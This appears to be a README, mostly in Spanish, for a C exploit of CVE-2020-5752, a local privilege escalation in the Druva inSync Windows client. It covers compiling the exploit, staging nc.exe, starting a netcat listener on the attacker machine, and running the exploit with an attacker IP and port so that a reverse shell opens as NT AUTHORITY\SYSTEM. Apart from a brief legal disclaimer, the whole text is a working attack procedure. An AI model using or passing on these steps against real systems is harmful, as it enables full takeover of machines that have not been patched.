CVE-2020-5752: Druva inSync Escalada de Privilegios Local

Un exploit en C para el Cliente Windows de Druva inSync (v6.6.3 y anteriores). La aplicación expone un servicio RPC en el puerto 6064 que es vulnerable a inyección de comandos mediante path traversal. Esto permite a un usuario local ejecutar comandos arbitrarios como NT AUTHORITY\SYSTEM.

Detalles de la Vulnerabilidad

• CVE: 2020-5752
• Probado en: Windows 10 (x64)
• Nivel de privilegio: Escalada de Privilegios Local (LPE)

Uso

1. Compilación

Utilice gcc (MinGW) para compilar el código fuente:

gcc exploit.c -o exploit.exe -lws2_32

2. Preparación

Coloque una copia de nc.exe en un directorio accesible por la cuenta SYSTEM (por ejemplo, C:\Windows\Tasks).

3. Ejecución

Inicie un listener en su máquina atacante:

nc -lvnp 4444
Run the exploit on the target Windows machine:

exploit.exe <Attacker_IP> <Attacker_Port> <Path_to_NC>
Example:
exploit.exe 10.10.10.5 4444 C:\Windows\Tasks\nc.exe

Aviso Legal

Esta herramienta es solo para fines educativos. El uso no autorizado en sistemas para los que no tiene permiso de prueba es ilegal.